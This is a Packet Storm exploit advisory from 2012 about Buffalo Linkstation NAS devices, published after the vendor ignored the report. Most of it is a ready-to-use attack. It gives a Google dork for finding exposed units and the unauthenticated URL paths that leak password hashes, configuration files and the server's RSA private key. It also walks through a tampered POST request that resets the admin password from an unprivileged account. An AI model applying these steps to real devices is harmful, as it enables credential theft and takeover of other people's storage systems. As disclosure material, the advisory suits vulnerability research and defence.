exploit the possibilities

Buffalo Linkstation Privilege Escalation / Information Disclosure

Buffalo Linkstation Privilege Escalation / Information Disclosure
Posted Dec 1, 2012
Authored by Hurgel Bumpf

Buffalo Linkstation suffers from information disclosure and privilege escalation vulnerabilities.

tags | exploit, vulnerability, info disclosure
MD5 | fff2bddb1f8834ae209ca7e2d575b905

Buffalo Linkstation Privilege Escalation / Information Disclosure

Change Mirror Download
Release Date.              30-Nov-2012
Last Update.               -
Vendor Notification Date.  23.Dec.2011

Product.                   Linkstation & Others

Platform.                  Buffalo Technology
Affected versions.         Including Actual Version

Severity Rating.           Medium
Impact.                    Privilege escalation, Information Disclosure

Attack Vector.             From remote
Solution Status.           Don't use internet function aka. WebAccess
CVE reference.             CVE - not yet assigned


Buffalo doesn't has a security department. They always forwarded me to sales, as they thought the will help me there better. Never received any answer. Tried over some other companies to reach Buffalo, but they are not interested in vulnerabilities.
I waited one year and nothing happend. So here we go...



Buffalo Linkstation Information Disclosure (Password, Certificate,..)
+ Google Dork

+--->intitle:"LinkStation - LS-WTGL"  Copyright 2002-2008

(There are better ways to find them..)



[ WebAccess - Accessing shared folders via Browser. Disabled by default. Has to be enabled ]

If you find them online, a WebAccess ist enabled by 99.9%..


No authentication needed to access the files!


+ Permission Settings (read)
+---> x.x.x.x/modules/webaxs/module/files/perm.conf

+ Username & Password disclosure (htpasswd)
+---> x.x.x.x/modules/webaxs/module/files/password

+ Lighttpd Config
+---> x.x.x.x/modules/webaxs/module/files/lighttpd.conf

+ Lighttpd RSA Private & Public Key
+---> x.x.x.x/modules/webaxs/module/files/host.pem


Buffalo Linkstation Privilege Escalation (Admin Password Reset)

After you cracked the htpassword,  logon with a gained (unprivileged) username and reset the admin password.

To do so just use temperdata or intercept on burp and try to change your password. Enable temper and press the button to change your password.

In the POST request just change the User*Name fields with the name "admin". Make sure to keep the gSSS and gRRR as they are the "session cookies".
Send the changed values and logon with the admin user again.

Example:



   Post Data:
      hiddenPageId[user_add]
      txtUserEditName[admin]   <--- Replace your username with admin here
      txtUserEditOldName[admin]   <--- Replace your username with admin here
      txtUserEditPassword1st[reset]  <-- Password of your favor
      txtUserEditPassword2nd[reset]  <-- Password of your favor
      txtUserEditComment[]
      hiddenUserEditNameOld[admin]   <--- Replace your username with admin here
      txtHelpSearch[]
      gPage[user]
      gMode[setup]
      gType[undefined]
      gKey[undefined]
      gSSS[3ae1c32d69ff7a83594d9daa9c776ad8]
      gRRR[666525125298680621]
      hiddenDummyText[dummy]
   Response Headers:
      Date[Fri, 09 Dec 2011 16:42:13 GMT]
      Server[Apache/1.3.34 (Unix)]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Expires[Thu, 01 Dec 1994 16:00:00 GMT]
      Pragma[no-cache]
      Keep-Alive[timeout=15, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html; charset=UTF-8]
You can download a firmware Image and unzip it (zip password is all over the internet). There you will find more "features".
It's just a very bad maintained linux. Bad filepermissions aso..

Buffalo: Your firmware is bad and you should feel bad!

André


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    22 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    1 Files
  • 17
    Nov 17th
    3 Files
  • 18
    Nov 18th
    22 Files
  • 19
    Nov 19th
    17 Files
  • 20
    Nov 20th
    15 Files
  • 21
    Nov 21st
    16 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close